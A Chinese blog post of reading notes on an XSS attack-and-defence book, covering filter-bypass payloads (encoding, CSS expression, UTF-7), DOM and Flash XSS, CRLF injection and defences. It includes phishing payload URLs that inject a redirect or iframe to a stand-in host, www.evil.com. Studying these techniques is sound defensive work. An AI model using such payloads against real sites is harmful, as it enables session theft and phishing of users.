XSS跨站脚本攻击剖析与防御--读书笔记


XSS是指攻击者将恶意脚本代码(HTML代码和客户端Javascript脚本)注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码。

绕过XSS-Filter

1.利用<>标记注射html/javascript

<script>alert(0);</script>
防御:过滤<>,<script>等


2.利用HTML标签属性值执行XSS

<img src="javascript:alert('xss');">

由于不是所有web浏览器都支持Javascript伪协议,不过例如IE6还是支持的。由于浏览器配置不同,如果必要的话测试可以使用多个浏览器内核进行测试。

防御:过滤javascirpt等关键字


3.空格回车Tab

如果XSS Filter把敏感的输入字符列入黑名单,可以利用空格、回车、Tab键绕过限制

<img src="java script:alert(0)">
<img src="javas
cript:
alert(0)">

实验中发现该方法不能成功弹窗,测试浏览器:IE11和Firefox,chrome。


4.对标签属性值转码

如果对普通HTML标记的属性值进行过滤,用户可以通过编码处理来绕过,因为html中属性值本身支持ASCII码形式。

<img src="javascript:alert(0);">
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105....>
还可以吧&#01,、&#02等字符插入javascript头部,Tab的&#9、换行符的&#10、回车符的&#13可以插入代码中的任何地方。
<img src="java&#09;scr&#10;ipt:alert(0)">
防御:为了防范编码的XSS,最好也过滤#&\等字符。

实验代码:

<input type="button" value="click me" οnclick="&#01alert(0)"/>

无法弹窗;

实验代码:

<input type="button" value="click me" οnclick="&#09alert(0)"/>
可以弹窗,添加&#09或&#13在代码首尾处可以弹窗;


5.产生自己的事件

假设用户不能依靠属性值进行跨站,可以利用事件,例如:

<input type="button" value="click me" οnclick="alert(0)"/>

6.利用CSS跨站

<div style="background-image:url(javascript:alert(0))">
<style>
     body {backgroud-image:url(javascript:alert(xss))}
</style>
IE5版本及以后支持在CSS中使用expression,使用expression同样可以XSS漏洞:
<div style="width:expression(alert(0));">
<img src=1 style="xss:expression(alert(0));">
<style>
    body {background-image:expression(alert(0));>
</style> 
@import也可以轻松的导入外部含有xss代码的CSS、
<style>
     @import 'javascript:alert(0)';
</style>

防御:包含expression javascript import等敏感字符的样式表也要进行过滤。

实验:由于测试的浏览器都不支持javascript伪协议,包括使用expression都没有弹窗。


7. 扰乱过滤规则。

转换大小写、利用单引号替换双引号、不使用引号等;

在IE6中可以使用/代替标签后的空格:

<img/src="javascript:alert(0);">
在使用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则;

样式表中的/**/会被忽略可以用来插入混淆字符绕过过滤('\' 和'\0'也是被浏览器忽略的):

<div style="wid/**oh**/th:expre/*yeah*/ssion(alert(1));">

测试代码:

<input/type="button" value="click me" οnclick='/*yeah*/alert(0)'/>
可以弹窗,注意/**/不可以截断标签值“onclick"等属性;

利用字符编码

前文所述,html标签中的某些属性值可以使用&#ASCII方式进行编码改写,另外javascript的eval()函数可以计算字符串并执行可以使用十六进制字符串:

<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29")
</script>
也可以使用String.fromCharCode()函数执行10进制字符串:
<img src="javascript:eval(String.fromCharCode(97,108,101,...))">
测试代码如上,无法弹窗。

CSS中的javascript、expression字符一般会被程序过滤,但是可以通过十六进制来绕过。


XSS利用方式剖析

Cookie窃取及会话劫持(在攻击中带上了Cookie并发送到服务端);

网络钓鱼:

XSS重定向钓鱼:

http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
也可以注入表单来进行钓鱼,如:
http://www.bug.com/index.php?search='><iframe src="http://ww.evil.com" height="100%" width="100%"></iframe>
也可以使用javascript编写键盘记录器等获取其他信息。

JavaScript/CSS history hack,利用CSS能定义访问过和未访问过的样式获取用户浏览历史。

客户端信息刺探:利用Javascript也能获得IP地址、端口。


XSS测试工具

Firebug,Temper Data,Fiddler,XSS-Proxy,XSS Shell,AttackAPI,Anehta(好像已经不更新了,也无法下载了)。


XSS漏洞发掘

在黑盒环境下手动发掘和测试XSS的基本方法是使用攻击字符串来验证。首先选择输入特殊字符进行测试“<XSS>"'&"。

白盒测试:查找可能在页面输出的变量,检验它们是否受到控制,然后跟踪这些变量的传递过程,分析它们是否被htmlencode()之类的函数过滤。其中,$_SERVER, $_GET,$_POST,$_REQUEST 经常用来获取用户输入。


DOM-XSS

不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。DOM-XSS受客户端脚本代码的影响,所以通过分析客户端Javascript的范式,便能发掘出此类漏洞。

输入是指比如可能触发DOM-XSS的属性:document.referer, window.name, location。而输出是指能使字符串在页面输出的方法或函数,譬如innerHTML、document.write()等。流程是:跟踪输出函数的变量,比如首先找到document.write等会造成危害的地方,然后回溯变量与函数调用过程,查看用户是否能够控制输入。


Flash XSS

Flash 本身具有内置的编程语言ActionScript。通常,ActionScript会被保存在flash文件中(以.,swf为后缀的文件)。如果要发掘flash下的安全漏洞,通常要对SWF文件进行反编译以获取ActionScript(Action Script Viewer),然后分析代码,首先找到输出或执行(如ExternalInterface.call)等会造成危害的地方,然后回溯变量与函数调用过程,看用户是否能够控制输入(如loaderInfo.parameters获取的参数)。


XSS Worm

Web 2.0时代的各种服务都是以用户为中心,相比较Web1.0连接用户和网站,Web2.0连接用户和用户,用户既是网站内容的浏览者,也是网站服务的制造者。Ajax(Asynchronous Javascript + XML) 是web2.0 技术的核心支柱,允许web页面内容飞速的更新而无需刷新页面,可以只向服务器传输更新过的内容,借助于客户端的Javascript处理来自服务器的响应。一般XSS蠕虫攻击流程为:讯在XSS漏洞,编写XSS蠕虫,利用一个宿主作为传播源头进行XSS攻击。


HTTP Response Splitting

Http响应拆分,也被称作CRLF注射攻击,是指浏览器用户可以随意地添加额外的HTTP报头信息到HTTP数据包中,然后通过自定义HTTP头创造任意的内容并返回用户浏览器中。HTTP 头的定义基于key:value结构,并且每一行由“\r\n”分割,这就意味着当用户提交包含“\r\n”的数据,那么攻击者就可以任意设置一些特殊的HTTP头,或者直接修改http response的值。CRLF中,CR表示回车, ASCII 13 或“\r”;LF表示换行, ASCII 10或“\n”。在URL中编码为%0D%0A。

防御:禁止用户在任何与响应头有关的输入请求中使用回车换行符,同时注意CRLF的各种编码。


MHTML协议安全

MHTML是MIME HTML的缩写,定义把一个多媒体页面的所有内容都保存到同一个文档的解决方案。MHTML的协议访问格式为:

mhtml:[mhtml_file_url]![original_resource_url]

防御:对参数长度进行限制,过滤字符串中的%0D%0A,使之无法满足MHTML协议的格式要求。


利用Data URIs进行XSS

Data URI方案和MHTML有些类似,提供了一种通过base64编码在网页中直接嵌入文件的方法,利用该方法可以绕过基于黑名单过滤的XSS防御系统。格式为:

data:[<mime type>][;charset=<charset>][;base64],<encode data>

不是所有浏览器都支持DATA URI方案,在HTML中,支持DATA URI 的标签有<object>/<iframe>/<anchor>/<img>等。

测试结果:Firefox,IE11,chrome都不会弹窗


UTF-7 BOM XSS

UTF-7是指7位院Unicode转换格式,使用+-控制编码的开始和结束。通过注射“+v8”,"+v9"等关键字,可以告诉浏览器以何种character解析文件,因为微软的IE浏览器会优先以BOM判断出的字符集为优先。通过UTF-7 BOM的方式绕过一些关键字检测。

+/v9<meta http-equiv='content-type' content='text/html?charset=utf-7'>
+ADw-script+AD4-
alert(0);+ADw-/script+AD4-
测试说明:只有IE11可以成功弹窗。

CSRF防御

使用POST代替GET,检验 http Referer, 验证码,使用token


XSS防御

使用XSS Filter:输入过滤以及输出编码。

web安全编码规范:将能触发XSS的字符使用相应的HTML实体代替: <转成 &It等。

使用浏览器插件:Firefox的NoScript插件,IE8的XSS Filter.

使用HTTP-only的cookie。


本文根据XSS跨站脚本攻击剖析与防御所写,也尝试了一部分书中提到的方法,然而部分写法无法成功测试,也可能是因为书籍编写至今也有数年时间,浏览器的一些性质已然不同,但是作者的想法和方法都是值得借鉴的,而且在对于XSS的利用和防御方面,多年来变化也并不大。短短时间读完本书,收获还是很多的,关于XSS,也终于可以说了解的比较全面了。


  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值